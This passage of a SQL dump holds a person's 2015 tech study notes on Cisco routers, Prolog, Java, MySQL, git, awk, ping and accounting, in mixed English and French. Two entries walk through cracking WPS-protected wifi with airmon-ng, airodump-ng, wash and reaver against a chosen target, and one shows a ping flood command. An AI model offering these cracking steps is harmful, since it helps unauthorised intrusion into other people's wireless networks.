---+\n|                                       |\n+---------------------------------------+\n\n+--------------------+\n| jframe             |\n+--------------------+\n| +------------+     |\n| | button01   |     |\n| +------------+     |\n| +------------+     |\n| | button02   |     |\n| +------------+     |\n| +------------+     |\n| | button03   |     |\n| +------------+     |\n+--------------------+ \n\n#end_flowlayoutt\n\ncardlayout\n#end_cardlayout\n\ngridlayout\n#end_gridlayout\n\nboxlayout\n#end_boxlayout\n\ngridbaglayout\n#end_gridbaglayout\n\ngrouplayout\n#end_grouplayout\n','2015-02-18 16:02:43'),(654,'#irc -emoticon','\n:**:		Returning Kiss\n:I		Hmmm...\n:(		Frown\n>:(		Angry Frown\n:[		Real Downer\n:-<		Forlorn\n:x		My lips are sealed\n:-o		Oh, nooooooo!\n:-!		Foot in mouth - oops!\nP*		French Kiss\nO:)		Angel\n}:[		Angry, frustrated\n[:-|		Frankenstein\n^5		High Five!\n(.. ) ( ._.) ( \'\') ( \':\' )		searching\n\n',NULL,NULL,'2015-02-12 09:31:10'),(655,'#prolog -install',NULL,NULL,'\nto install prolog\n	apt-get install swi-prolog\nto run prolog\n	swipl\n	and you will be redirected in the prompt of prolog\n		?-\n\n\n','2015-02-13 21:11:56'),(656,'#cisco -prompt-mode',NULL,NULL,'\nsimple_user mode:\n	router>\n	switch>\n\nprivileged mode: \n	got from: router|switch> enable\n	that how it looks like\n		router#\n		switch#\n\nconfiguration mode\n	got from: router|switch# configuration terminal\n	this how it looks like:\n		router(config)#\n		switch(config)#\n','2015-02-12 15:39:13'),(657,'#cisco -simple_user_mode *router',NULL,NULL,'\nnote that u are in console virtual communication with a router\nthose what u can do with simple_user mode on that situation:\n	enable: turn to privileged_mode\n	telnet: \n	ssh\n	connect\n	disable\n	disconnect\n	exit\n	logout\n	ping\n	show\n	terminal\n	traceroute\n','2015-02-12 18:21:02'),(658,'#cisco -change-name -hostname-rename',NULL,NULL,'\nrouter(config)# hostname router01\n','2015-02-15 12:01:05'),(659,'#cisco *router -save-conf',NULL,NULL,'\nu have to go to privileged mode\nrouter# copy running-config startup-config\n	                        |-+----------|\n                              +>> ifk: this is the name of the conf_file\n	the configuration file will be saved in the ram of the router\n		or in the nvram\n  u will be redirected where u have to set the name of the conf in the router\n\n\n\n','2015-02-12 18:21:02'),(660,'#cisco -check-version_of_router',NULL,NULL,'\nshow running-config\n','2015-02-12 18:21:02'),(661,'#cisco -virtual-connection+check_pass *router from-pc',NULL,NULL,'\n                                +------------+  +--+---------------------+\n                                |console_link|  |  |that is virtual      |\n       +----++-----------+------+------------+--+  |   console_connection|\n       | pc ||           |                         +---------------------+\n       +----+|           ++-------------+\n             |           ||routerGeneric|\n +---------+ |           |+-------------+\n |rs232Port+-+           |\n +---------+             |\n                         |\n                  +------+-----+\n                  |console_port|\n                  +------------+\n\nifk: virtual connection on router is \n\n                 |-- the connection to this router will be into the console_port of the router but not in fa\n    pc <--+---> router\n    |     +-- the console_link\n    +-- connected on rs232 but not in fa\n    \'\n    the pc will be able to cmd everything on the router, that is the meaning of virtual_connection\n\nto make that when u connect to ur router then u will be checked in password first:\n    u will not access the simple_user mode if u dont know the password  +--->+-this 0 means the first \n    \'                                                                  |    |   pc connected to the \n    router(conf)# line console 0                              ----------+    +-  virtual_console_connection\n    router(conf-line)# password pass00\n    router           # login                       --+-- the previous_cmd is only to set the pass\n        exit, exit                                   +--   but this is to activate it\n\n    router# copy running-config startup-config                   ---+--- this one is to save the conf\n    router# reload                -----+                            +---   and that conf will be set on next start\n                                       +- this is to reload the router\n                                          it will be reloaded with the conf previously done will be reload as well\n    \'\n    then now the router will reload and u will not be able to access it u don_t know the pass00\n\n\nto save the conf of the router\n    router01# copy running-config startup-config\n        -- u will be redirected in a prompt which will ask u the name of the conf_file\n        --  if u don_t give an name for it, it will be \"startup-config\"	\n        --      and will be reloaded by default on the next startup of the router\n \n','2015-02-15 13:22:29'),(644,'#java -implements_runnable -thread -example -intro',NULL,NULL,'\n\n                                +--------- autre type pour creer thread, avec implements Runnable\n                                |             alors lors de la creation de l_objet thread, ce sera comme le suivant\n                                |                 Ecrit e01 = new Ecrit(\"txt01\", 6, 1000);\n                                |                 Thread t01=new Thread(e01);\n                                v                 t01.start();\n+-------------------------------v---------------------------------------------------------------------------------------------------------------------------------------------+\n|   class Ecrit implements Runnable{                                                                         ----+                                                            |\n|      private String texte ;       --+ / voici des var dont le                                                  |                                                            |\n|      private int nb ;               +-+    thread va manipuler                                                 |                                                            |\n|      private long attente ;       --+                                                                         |                                                            |\n|                                                                                                                |                                                            |\n|       public Ecrit (String texte, int nb, long attente) {                                                      |                                                            |\n|           this.texte = texte ;                                                                                 |                                                            |\n|           this.nb = nb ;                                                                                       +---- on definit                                             |\n|           this.attente = attente ;                                                                             |     ce que la                                              |\n|       }                                                                                                        |     thread va                                              |\n|       public void run () {                                          ---+                                       |     faire                                                  |\n|           try {                                                        +-- on definit ce que le                |                                                            |\n|               for (int i=0 ; i<nb ; i++) {                             |      thread va faire                  |                                                            |\n|                   System.out.print (texte) ;                           |                                       |                                                            |\n|                   Thread.sleep (attente) ; // attention Thread.sleep>>>>>>--+-Thread.sleep, on l_utilise qd    |                                                            |\n|               }                                                        |    |   on veut faire sleep            |                                                            |\n|           }                                                            |    |   mais avec implements_Runnable  |                                                            |\n|           catch (InterruptedException e) {} // impose par sleep        |    | Thread.sleep lance une exception |                                                            |\n|       }                                                             ---+    +-  qui se nomme InterruptedExcept |                                                            |\n|                                                                                                                |                                                            |\n|   }//end_class_Ecrit                                                                                       ----+                                                            |\n|                                                                                                                                                                             |\n|   public class TstThr3{                                                                                                                                                     |\n|       public static void main (String args[])	{                                                                                                                             |\n|           Ecrit e1 = new Ecrit (\"bonjour \", 10, 5) ;         --+-- on creee l__objet_thread                                                                                 |\n|           Ecrit e2 = new Ecrit (\"bonsoir \", 12, 10) ;          |      venant de class_implements_Runnable                                                                   |\n|           Ecrit e3 = new Ecrit (\"\n\", 5, 15) ;               --+   le thread n_est pas encore reelemnt cree, c en bas qu_on cree le vrai Thread                             |\n|                                                                                                                                                                             |\n|           Thread t1 = new Thread (e1) ; t1.start() ;            --+- n_oublie jamais de demarrer                                                                            |\n|           Thread t2 = new Thread (e2) ; t2.start() ;              |       le thread                                                                                         |\n|           Thread t3 = new Thread (e3) ; t3.start() ;            --+                                                                                                         |\n|       }//end_meth_main                                                                                                                                                      |\n|   }//end_class_TstThr3                                                                                                                                                      |\n+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------+\n','2015-02-12 02:59:48'),(662,'#mysql -conf -intro -division',NULL,NULL,'\n/etc/my.cnf	overrided by\n/etc/mysql/my.cnf overrided by\n~/.my.cnf\n\nit is divided like this:\n	[client]\n	...\n	[mysqld_safe]\n	...\n	[mysqld]\n	...\n	[mysqldump]\n	...\n	[mysql]\n	...\n	[isamchk]\n	...\n','2015-02-12 18:41:29'),(663,'#mysql -utf8 -char-db','\nset character_set_database = utf8;\n',NULL,NULL,'2015-02-13 02:43:45'),(664,'#radius -intro','\nRadius is a protocol for carrying information related to authentication, \n	authorization, and configuration between a Network Access Server (NAS)\nbefore u start prolog, u have to understand:\n    aaa(Authentication, Authorization, and Accounting)\n    nas(network access system)',NULL,NULL,'2015-02-13 18:49:21'),(665,'-ls-user of#irc-chan',NULL,NULL,'/names','2015-02-13 19:22:27'),(666,'#mysql -logging-file','tail -f /var/log/mysql/mysql.log',NULL,NULL,'2015-02-13 19:36:32'),(667,'#mysql -replace -text****',NULL,NULL,'update notes_tech set cmd_exp=replace (cmd_exp, substring(cmd_exp, LOCATE(\'****\', cmd_exp), LENGTH(cmd_exp) - LOCATE(\'****\', REVERSE(cmd_exp)) - LOCATE(\'****\', cmd_exp) + 2), \'\') where id_n_t=xxx;','2015-02-13 20:19:22'),(677,'#sip -intro','\nSIP is a signalling protocol designed to create, modify, and terminate a multimedia session over the Internet Protocol\nIt is an application layer protocol that incorporates many elements of the Hypertext Transfer Protocol (HTTP) and the Simple Mail Transfer Protocol (SMTP)\nused in telecom_testing\nu should understand very well:\n	network concept\n	tcp, \n	udp, \n	http, \n	smtp, \n	voip\n\nhttp://www.tutorialspoint.com/session_initiation_protocol/index.htm\n',NULL,NULL,'2015-02-15 05:01:02'),(670,'#prolog -and-or-if-not',NULL,NULL,'\nand   ,\nor    ;\nif    :-\nnot   not\n','2015-02-13 21:27:57'),(671,'#prolog -variable -capital -atoms -numbers -long-list -matching',NULL,NULL,'\nfor example:\n        dating (X, Y) :-\n                likes(X, Y),\n                likes(Y, X).\n\nwe have this next\nlikes(billy, nat).\nlikes(nat, billy).\n\nthese next cmd will be true:\n    dating(billy, nat).\n    dating(nat, billy).\n\nremember that:\n    facts must be loaded from file\n        ex: swipl -f /path/file00.pl\n        u can_t type it from the prompt\n            ie, u can_t do this next:\n                ?- likes(bobby, mmt).\n                likewise functions(likes) is not loaded from a file\n    u can load _rules_ from the prompt immediately but\n        ifk it_s better that u load it from files\n\n    all _atoms_ are all _minuscule_\n    ex:\n        butch \n        big_kahuna_burger\n        m_monroe2\n        \n    all _variables_ start in _capitalization_ or starts with underscore\n    ex:\n        X\n        Y\n        Variable\n        _tag\n        X_526\n        List24\n    The variable _ (a single underscore character)\n        is rather special\n        is called anonymous variable\n    \'\n    \'\n    numbers:\n        most prolog implementations support _float_nbr_\n            but aren’t particularly important\n        but _integers_ are useful as counting the elements of a list\n            ex: 0, 1, 3, -5, -27000\n\nshort intro about matching\n===========================\nthis will be true\n    ?- =(mia, mia).\n    ?- =(1, 1).\n','2015-02-24 15:14:51'),(669,'#mysql -log -explanation',NULL,NULL,'\ni did a query like this:\n	select * from notes_tech where tiitle like \'233\' G\nand in log of mysql(in mine: /var/log/mysql/mysql.log)\n    I have this next_one\n    150213 22:40:56    63 Query     select * from notes_tech where id_n_t=233\n    |-+--|                |-+-|     |----------------+-----------------------|\n      |                     |------+                 +------ this is the query\n      |---------+----15 for 2015   |\n                +----02 for feb    |\n                +----13 for 13th   +--- to tell that i_m doing query\n','2015-02-13 20:48:50'),(674,'#prolog -variables -compound-questions -rules -struct',NULL,NULL,'\nvi /path/test.pl\n	weather(phoenix, summer, hot).\n		%phoenix is hot in the summer\n	weather(la, summer, warm).\n		%la is warm in the summer\n	weather(phoenix, winter, warm).\n		phoenix is warm in the winter\n\nvi /path/rules_prolog.pl','2015-02-15 08:56:59'),(675,'#gnuprologjava -start -intro -long-list',NULL,NULL,'\nto load facts:\nmake sure that \"fact_rule.pl\"\n    is in the same folder as this code_of_java\n    \'\n    import gnu.prolog.term.AtomTerm;\n    import gnu.prolog.vm.Environment;\n    \'\n    main() {\n        ...\n        Environment env = new Environment();\n        env.ensureLoaded(AtomTerm.get(\"fact_rule.pl\"));\n        ...\n    }\n\n\nafter loading the fact_rule.pl\nu need to get _interperter_ used to execute goals of your question.\n    \'\n    import gnu.prolog.vm.Interperter;\n    \'\n    main(){\n        ...\n        Interpreter interpreter;\n            // u can not create an object of class Interpreter\n        interpreter = env.createInterpreter();\n            // env is already defined before\n        ...\n    }\n\nafter the load of fact_rule, and setting the interperter_\nu need to initialise\n    \'\n    ...\n    env.runInitialization(interpreter);\n    ...\n\nnow the setup is completed\nu can start running goals like this next one:\n    \'\n    ...\n    interpreter.runOnce(Term);\n        // Term is the goal u want to exe\n    ...\n\n#end_file\n','2015-03-07 16:12:37'),(676,'#prolog -comment in-fact',NULL,NULL,'\nthis next is a fact of prolog\n	child(person01, person02).\n	  % this is a comment\n	  % person01 is a child of person02\n	parent(person02, person01).\n	  % this is a comment\n	  % person02 is a parent of person01\n','2015-02-14 01:56:28'),(673,'#prolog -intro -long-list',NULL,NULL,'\nc un langage:\n    declaratif(contrairement a java, cpp, ...(langage imperatif))\n    indeterministe(permet de traiter pbm comportant plusieurs solutions)\n\non trouve tjr:\n    connaissance(decrivant des faits )\n        regroupes dans une base de faits\n    moteur d_inference\n        pour appliquer les regles aux faits\n','2015-03-11 02:57:20'),(910,'#java -ternaire -intro',NULL,NULL,'\n    int x = 10, y = 20;\n    int max = (x < y) ? y : x ;\n    \'\n    that means:\n        if (x < y)\n            max = y;\n        else\n            max = x;\n\nthis next one is possible as well\n    int max = (x < y) ? y * 2 : x * 2 ;\n    \'\n    which means\n        if (x < y)\n            max = y * 2;\n        else\n            max = x * 2;\n','2015-03-07 16:45:14'),(911,'#java -do-while -intro',NULL,NULL,'\ncette boucle s_exe tjr\n    au moins une fois\n\nattention il y a \";\" apres while\n\nbesoin de faire l_incrementation a l_interieur du boucle.\n\n\nex:\nint x = 0;\n    do{\n        System.out.println(\"x: \" + x);\n        x++;    \n    } while (x < 5);\n','2015-03-07 16:51:47'),(912,'#java -jtextarea -intro -jscrollpane',NULL,NULL,'atreto dia ny jscrollpane mameno ny frame|jpanel izay tsisy zvt mintsn\nmain(){\n    ...\n    JTextArea jtextarea = new JTextArea(\"default text in jtextarea\", 5, 100);\n                   ^                                                 ^    ^\n                   |                         nb_of_rows -------------+    +-----nb_of_cols\n                   |\n                   +---------------------------v\n    JScrollPane scrollpane = new JScrollPane(jtextarea);\n    ...             ^---------------vv\n    frame00.getContentPane().add(scrollpane, BorderLayout.CENTER);\n    ...\n}                                                                 ;\n','2015-03-08 12:38:15'),(678,'#google -research-per-site','\nex: to research \"sip\" in site \"www.tuto.com\"\n	research this next in google:\n		sip site:www.tuto.com\n',NULL,NULL,'2015-02-15 05:06:13'),(679,'#ff -plugin -mega_cloud','MEGA 2.0.218',NULL,NULL,'2015-02-15 06:57:13'),(680,'#mysql -get-size-table',NULL,NULL,'\nSELECT table_name AS \"Table\", \nround(((data_length + index_length) / 1024 / 1024), 2) \"Size in MB\" \nFROM information_schema.TABLES \nWHERE table_schema = \"db00\"\n AND table_name = \"table00\";\n','2015-02-15 07:16:06'),(681,'#wpa -introduction','\nWi-Fi Protected Access (WPA) and Wi-Fi Protected Access II (WPA2) are two security protocols and security certification programs to secure wireless computer networks.\nit succeded wep,\n  wep has some serious weaknesses which has been found before\n',NULL,NULL,'2015-02-15 08:54:10'),(682,'#wpa2 -hack -reaver',NULL,NULL,'\nhttp://www.hackingdream.net/2014/07/how-to-hack-wifi-wpa-and-wpa2-without.html\nhack should be complete after 5-18hours\n	if ur signal is good, and ur sys is in good_condition\n\nselect the interface which will do the hack:\n	airmon-ng start ','2015-02-15 10:51:40'),(684,'#cisco -line-vty-connection',NULL,NULL,'                                         +-------+\n                 0/0Port------+           |   pc  |\n                              |           +-------+\n            +-----------------+-----+-----+-- fast_ethernet_port\n            |  routerGeneric  |     |\n            +-----------------+     |\n                                    +--- copper_cross-over_cable\n\n\nto administrate the router, u can do that from console_connection\nbut u can do that from line vty as well\n\'\nto do the management of the router from the line vty(to administrate router from telnet):\n    router(config)# line vty 0 4\n                             |+|\n                              +--- that means u can administrate the router from 5pc (0 1 2 3 4)\n           (config-line)# password pass00 \n                        # login\n                        # end\n\nu just set the pass and told that the router is able to be administrated from line_terminal too\n    from telnet\n\nto administrate the router, the router needs an @ip\n    go to fa0/0 of the router\n    give an ip\nnow you should be able to telnet the router\n','2015-02-15 13:36:33'),(685,'#cisco -password_for-privileged_mode',NULL,NULL,'\nto seal the privileged mode of the router with a password,\n	but beware bcz the pass00 will be seen clearly in \"show running-config\"\n\nrouter(config)# enable password pass00\n\n to unable that fact that u have to set a pass before accessing the privileged mode of the router\nrouter(config)# no enable password\n\nthe way of using \"(config)# enable password\" is that the pass will be shown in \"show run\" \nto encrypt the pass in \"show run\", do this\n	router(config)# enable secret pass00','2015-02-15 13:54:53'),(686,'#git -conf-file-division',NULL,NULL,'\nthe division of conf of git are:  \n    [user]                       \n    ...                        \n    [core]                     \n    ...                        \n    [alias]                    \n    ...                        \n    [credential]               \n    ...             \n   [commit]\n    ...\n','2015-02-15 17:03:09'),(687,'#git -config-type -override',NULL,NULL,'\nthe conf of git are:\n        ./.git/config override\n        ~/.gitconfig  which override\n        /etc/gitconfig\n\nthe types of configuration in git are:\n        --system\n        --global\n        configuration inside:\n                ./.git/config\n\nthe division of conf of git are:\n        [user]\n        ...\n        [core]\n        ...\n        [alias]\n        ...\n        [credential]\n        ...\n        [merge]\n	...\n	to check almost all of this,\n	  check at(686) or \"#git -conf-file-division\"\nso u can do this next one likewise \"name\" is a field in division \"user\":\n    git config --global user.name \"name00\"\n\nnote that in the config file is\n    [user]\n    name=\"name00\"\nis the name which will be used in the commit when u see the \"git log\"\nso u can do this next one likewise \"name\" is a field in division \"user\":\n    git config --global user.name \"name00\"\n','2015-02-15 17:07:40'),(688,'#git -conf-list -get-value',NULL,NULL,'\nto get the value of the configuration in the current repos:\n	git config --list\n\nto get some specific value of the configuration\n	ex:\n	git config user.name\n','2015-02-15 16:29:52'),(689,'#git -compare_2branches',NULL,'git diff branchB..branchA',NULL,'2015-02-15 16:38:56'),(690,'#git -follow-file00-only',NULL,'git log --follow file00',NULL,'2015-02-15 16:42:29'),(691,'#scrb -interactive -read',NULL,NULL,'\nread -p \'ur name: \' name00\n\necho $name00\n','2015-02-15 17:35:43'),(692,'#ping -intro -long-list',NULL,NULL,' http://www.thegeekstuff.com/2009/11/ping-tutorial-13-effective-ping-command-examples/#more-2525 \nBy default ping waits for 1 second before sending the next packet.\nWait for 5 seconds before sending the next packet\n    ping -i 5 ip00\nWait for 5 seconds before sending the next packet\n    ping -i 0.1\n\nto test if your loopback works\n    ping 0\n    ping localhost\n    ping 127.0.0.1\n\nto ping ip00 ad stop the ping after sending 5packets\n    ping -c 5 ip00\n\nto show the version of ping\n    ping -V\n\nto give beep when the host is reachable\n    ping -a ip00\n\nto change the size of the packet in ping, here we will change it to 100bytes\n    ping -s 100 ip00    \n        but the real packet which will be sent is 128bytes, bcz there will be 28bytes of header\n\nto get the summary of ping only\n    ping -c 5 -q ip00\n         |-+-|\n           +------to tell that I want to send only 5packets\n        the -q is used for telling that I want the summary\n\nto ping ip00 and ping will exit after 10sec of the target not reached \n    ping -w 10 ip00\n\nto ping ip00 and to show the summary\n    after hitting <ctrl>|\n\nto ip00 but passing by ip01 ip02 ip03\n    ping ip01 ip02 ip03 ip00\n\nto ping ip00 and to show the ip where the packet was gone before reaching ip00\n    ping -R ip00\n    out:\n        ip10\n        ip11\n        ip00\n    this worked on blueline.mg\nto flood the target to packets sent by ping:\n    ping -f ip00\nto prevent from that \"ping flood\":\n    sysctl -w net.ipv4.icmp_echoreply_rate=10    \n\nto disable ping reply \n    echo \"1\" >  /proc/sys/net/ipv4/icmp_echo_ignore_all\nto enable ping reply again\n    echo \"0\" >  /proc/sys/net/ipv4/icmp_echo_ignore_all\n','2015-02-17 17:54:00'),(693,'#awk -default-file -used-in-some-lines-of-this-db','\n1)    Amit     Physics    80\n2)    Rahul    Maths      90\n3)    Shyam    Biology    87\n4)    Kedar    English    85\n5)    Hari     History    89\n',NULL,NULL,'2015-02-16 19:45:55'),(694,'#awk -prg_awk-saved_in-file -global-var',NULL,NULL,'\ncat marks.txt\n=========================================0\n1)    Amit     Physics    80\n2)    Rahul    Maths      90\n3)    Shyam    Biology    87\n4)    Kedar    English    85\n5)    Hari     History    89\n\nawk \'{print}\' marks.txt\n    will print all marks.txt\n\nto set the awk_prg in a file and exe it in marks.txt\n    cat cmd01.awk\n    ==========================================\n    {print}\n\n    awk -f cmd01.awk marks.txt\n        that is the same as: awk \'{print}\' marks.txt\n\nto assign a value to a var\n    awk -v name=Jerry \'BEGIN{printf \"Name = %s\\n\", name}\'\n    out:\n        Name = Jerry\n\nto get the global var of awk inside \"awkvars.out\"(default_name)\n    awk --dump-variables \'\'\n    to see the global_var of awk:\n        cat awkvars.out # to do just after the previous cmd\n','2015-02-16 20:11:57'),(695,'#awk -print-some-cols-only',NULL,NULL,'\nuse (693) in marks.txt\nawk \'{print $3 \"	\" $4}\' marks.txt\n\nawk \'{print $3 \"\\t\" $4}\' marks.txt\nout:\n======================================\nPhysics    80\nMaths      90\nBiology    87\nEnglish    85\nHistory    89\n','2015-02-16 20:31:53'),(696,'-unable|disable#ping-reply',NULL,NULL,'\nto disable ping reply \n    echo \"1\" >  /proc/sys/net/ipv4/icmp_echo_ignore_all\nto enable ping reply again\n    echo \"0\" >  /proc/sys/net/ipv4/icmp_echo_ignore_all\n','2015-02-16 20:07:34'),(697,'#awk -print-lines-with\"a\"','\nuses(693) as marks.txt\nawk \'/a/ {print $0}\' marks.txt\nout:\n================================\n2)    Rahul    Maths      90\n3)    Shyam    Biology    87\n4)    Kedar    English    85\n5)    Hari     History    89\n',NULL,NULL,'2015-02-16 20:20:32'),(698,'#wps(wifi protected sys)','\nDifferent Type of wifi security system which is enabled for some routers,\n    it is hackable IF the \"ap rate limiting\" is NOT _enabled_\n',NULL,NULL,'2015-02-16 20:20:57'),(699,'#hack -wifi -reaver',NULL,NULL,'\nhttp://www.hackingdream.net/2014/07/how-to-hack-wifi-wpa-and-wpa2-without.html\nif the network has excellent signal and ur sys is in good condition,\n	the hack will be completed after 5-18hours\n\nselect the interface which u will use for the hack.\n    airmon-ng start wlan0\n        after this u should see the some supplicant\n        kill those supplicant\n            here is an example result of prev_cmd\n            PID     Name\n            =============================\n            3456    NetworkManager\n            6357    wpa_supplicant\n            \'\n            to kill those supplicant\n                kill -9 3456\n                kill -9 6357\nsearch all wifi which are available near_by\n    airodump-ng wlan0\n\nwhen u got which wifi u want to hack\n    stop the search done by the airodump-ng by hitting: ctrl-c\n\nto research the wifi which is protected by \"ap rate limiting\"\n    wash -i mon0\nu should get the bssid00 of the netw which u want to hack\n    copy it\n\nuse the reaver cmd:\n    reaver –i mon0 –b bssid00 -vv\n','2015-02-16 20:59:20'),(700,'wpa_supplicant',NULL,NULL,'/sbin/wpa_supplicant -u -s -O /var/run/wpa_supplicant','2015-02-16 21:30:08'),(701,'#linux -find -exec',NULL,NULL,'\nthis an example which will search into the current_folder and will move the result\n    into /path/for/move/\n    \'\n    find -maxdepth 1 -iname \'mp3\' -exec mv {} /path/to/move/ ;\n','2015-02-17 04:39:30'),(702,'#java -string-buffer -intro -long-list',NULL,NULL,'\nStringBuffer est utile dans les prg manipulant _intensivement_ les chaines\n	elle ne possede aucun lien avec String\n\non peut creer StringBuffer a partir de String\nStringBuffer chBuf = new StringBuffer (\"string_value\") ;\n                            //          |----------|\n                                        012345678901\n                                                  11\nchBuf.setCharAt (3, ’J’);                  J\nchBuf.append (\" 2\") ;                    strJng_value2\nchBuf.insert (3, \"langage \")            strlanguage e2\n\n','2015-02-17 08:10:23'),(703,'#java -enum',NULL,NULL,'\ntu ne peux pas creer enum a l_interieur d_une methode\n	ie, tu peux pas faire ceci\n	public void meth01(){\n		enum d{a, b, c};\n	}\n\n	tu dois le faire comme ceci:\n	class class00{\n		enum d {...};\n		public void meth00(){}\n	}\n\nenum Days{mon, tue, wed, thu, fri, sat, sun};\n\non peut définir des objets de type Days\n	Days d01= Days.mon;\n\nifk: on ne peut pas instancier les \"enum\"\n\npour la comparaison:\n	if (cur_day == Days.sat){}\n	if (cur_day.compareTo(Days.fri)){}\n\nordinal()\n	on a \n		enum Days={mon, tue, wed, thu, fri, sat, sun};\n			        0   1    2      3   4    5    6	\n		Days d02 = Days.thu;\n        int a = d02.ordinal();  // a = 3;\n','2015-02-17 08:38:44'),(704,'#java -convert-enum-String',NULL,NULL,'\nto convert enum to string\n	Days is in (703)\n	String str00 = Days.mon.toString();\n','2015-02-17 08:31:51'),(705,'#java -get-all-values-enum',NULL,NULL,'\nDays d {a, b, c, d};\nmain(){\n	for (Days j : days.values() ){ \n		System.out.println (days.toString() ) ;\n	}\n\n}\n\nout:\n	a\n	b\n	c\n	d\n','2015-02-17 08:44:04'),(706,'#java -add-meth-in-enum',NULL,NULL,'\nenum Jour{ \n    lundi, mardi, mercredi, jeudi, vendredi, samedi, dimanche ;\n                                                              ^+- do not forget this\n                                                               +- it is not }\n	public void affiche (){                                        --+\n		System.out.println (this.toString() ) ;                      +-- here u can see that there \n	}                                                              --+     is a method inside an enum\n}\n\n','2015-02-17 09:08:19'),(707,'#java -enum-constructeur',NULL,NULL,'\nenum Jour{ \n\n    lundi (\"lu\"), mardi (\"ma\"), mercredi (\"me\"), jeudi (\"je\"), vendredi (\"ve\"),\n    samedi (\"sa\"), dimanche (\"di\") ;\n\n              +--- this is a constructor of an enum type\n              |\n            --+-\n    private Jour (String a)// constructeur ; en argument, l’abreviation\n    { \n  +->>  abrege = a ;\n  | }\n  |\n  |\n  | public String abreviation () { \n  |     return abrege ; \n  | }\n  +->>  private String abrege ;\n\n}\n\nmain() {\n    System.out.println (\"Noms des valeurs du type jour et leurs abreviations\") ;\n    for (Jour j : Jour.values() )\n        System.out.println ( j + \" : \" + j.abreviation() ) ;\n\n}\n\n\nout:\n	Noms des valeurs du type jour et leurs abreviations\n	lundi : lu\n	mardi : ma\n	mercredi : me\n	jeudi : je\n	vendredi : ve\n	samedi : sa\n	dimanche : di\n','2015-02-17 09:20:55'),(708,'#linux -most',NULL,NULL,'\nuse:\n	most file00\n\nto imitate \"tail -f file00\"\n	most file00\n	and type F, but not f hein\n\nto split the screen of most\n	most file00\n	and type ctrl-w 2\nto unsplit the screen \n	when the sceen is splitted\n	and type\n		ctrl-x 1\n','2015-02-17 09:41:18'),(709,'#ping -intro','\nhttp://www.linuxjournal.com/article/8605\nping is a diagnostic tool used for verifying connectivity between two hosts on a network\nIt uses ICMP echo request packets to a remote IP address and watches for ICMP responses.\nIf you could ping a host, you also could make an FTP or HTTP connection\n',NULL,NULL,'2015-02-17 17:12:55'),(710,'#compta -type-intro','\n                CG                                  C analy\nGestion du patrimoine                                 Valorisation d’éléments dubilan \n    Dettes/créances, liquidités, stocks,                  Stocks, production immobilisees, ...\n    immobilisations ...\n                                                      calcul des couts:\nCalcul du résultat                                        Résultats et marges, aide à la décision\n    Dividendes, participation, impôts\n                                                      previsions:\nInformation des tiers                                     standards, budgets, ecarts, ...\n    État, marchés financiers, banques\n',NULL,NULL,'2015-02-17 18:02:01'),(711,'#ping -result-explained',NULL,NULL,'\nping ip00\nout:\n        PING mango (192.168.1.1) from 192.168.1.10 : 56(84) bytes of data.   <<---- an overview of the\n        64 bytes from mango (192.168.1.1): icmp_seq=0 ttl=255 time=0.5 ms ----+        cmd\n        64 bytes from mango (192.168.1.1): icmp_seq=1 ttl=255 time=0.3 ms     |\n        64 bytes from mango (192.168.1.1): icmp_seq=2 ttl=255 time=0.3 ms     +-- a running _tally_ of the\n        64 bytes from mango (192.168.1.1): icmp_seq=3 ttl=255 time=0.3 ms     |     the responses received\n        64 bytes from mango (192.168.1.1): icmp_seq=4 ttl=255 time=0.3 ms     |\n        64 bytes from mango (192.168.1.1): icmp_seq=5 ttl=255 time=0.3 ms ----+\n                                                                  --+\n        --- ip00 ping statistics ---                                +--- summary of the result\n        6 packets transmitted, 6 packets received, 0% packet loss   |\n        round-trip min/avg/max = 0.3/0.3/0.5 ms                   --+\n\n','2015-02-24 18:18:17'),(712,'#compta -intro','\nen compta, il y a tjr un mvt par un sens puis par un sens inverse,\n    par un + et par un -\n    par un debit et par un credit\n    ex:\n        client(immo) paie sa facture 121€ par un virement banquaire pour la societe00\n        \n             +----+                          +---------+\n             |immo+------------------------>>+societe00|\n             +----+                          +---------+\n        \'\n            compte_banque_societe00:: debit: 121€\n                         :: +121€\n            compte_immo:: credit: 121€\n                         :: -121€\non doit avoir avoir\n    egalitee entre debit et credit\n',NULL,NULL,'2015-02-17 18:14:39'),(713,'#compta -definition-charge','\nUne charge est une dépense ou une diminution de\nl’actif non compensée par une augmentation de\npatrimoine\n',NULL,NULL,'2015-02-17 18:15:00'),(714,'#compta -definition-actifs','\nCe sont les avoirs de l’entreprise\nce sont ce que l_entreprise possede\ndebit designe augmentation des avoirs(ifk: actif)\nles moins liquides(ifk: les moins productif) se placent dans le haut de la liste(du bilan)\n',NULL,NULL,'2015-02-17 18:23:21'),(715,'#compta -intro','\nen compta, il y a tjr un mvt par un sens puis par un sens inverse,\n    par un + et par un -\n    par un debit et par un credit\n    ex:\n        client(immo) paie sa facture 121€ par un virement banquaire pour la societe00\n        \n             +----+                          +---------+\n             |immo+------------------------>>+societe00|\n             +----+                          +---------+\n        \'\n            compte_banque_societe00:: debit: 121€\n                         :: +121€\n            compte_immo:: credit: 121€\n                         :: -121€\non doit avoir avoir\n    egalitee entre debit et credit\n',NULL,NULL,'2015-02-17 18:54:29'),(716,'#compta -bilan-intro','http://www.coursdecomptabilite.be/theorie/le001th002.php\nun resume:\n                avoir de l_entreprise									dettes de l_entreprise\n                        debit                                                      credit\n                      \n \n\nlong_terme          actif                                             passif\n                        actif immobilisees                              cp\n                            frais d_ets                                     capital, Prime d’émis., +values de rééval\n                            immobilisation corporelle                       reserves\n                            immobilisation incorpo                          benefice/perte_reportee\n                            immob financiere                                subside_en_capital\n                                                                            avance aux associees sur rep de l_actif_net\n                        actif circulant            \n\ncourt_terme         charges                                           produit\n                        marchandise                                       ventes\n                        frais generaux                                    autres prod d_exploitation\n                        remunerations                                     produits financiers\n                        charges financieres                               xxxxxxxx exceptionnels\n                                exceptionnelles                           impots\n                        transferts au reserves immunisees                 prelevements sur les reserves immunisees\n\n\n\nimmediat/passee        benefice/perte de l_exo                         benefice/perte de l_exo\n                           benefice de l_entreprise                       perte de l_entreprise\n\n',NULL,NULL,'2015-02-17 19:59:06'),(717,'#compta -definition-passif','Ce sont les dettes de l’entreprise\ncrediter veut dire augmentation des dettes\ndebiter peut dire diminution des dettes\nclassees par ordre d_exigibilitee\n	plus ils sont en bas plus ils sont plus exigees',NULL,NULL,'2015-02-17 20:46:04'),(718,'#compta -definition-produit','des biens et services qui ont ete generes par l_entreprise',NULL,NULL,'2015-02-17 20:53:14'),(719,'#compta -definition -crediter|debiter-qlq1','crediter pers01 veut dire que tu 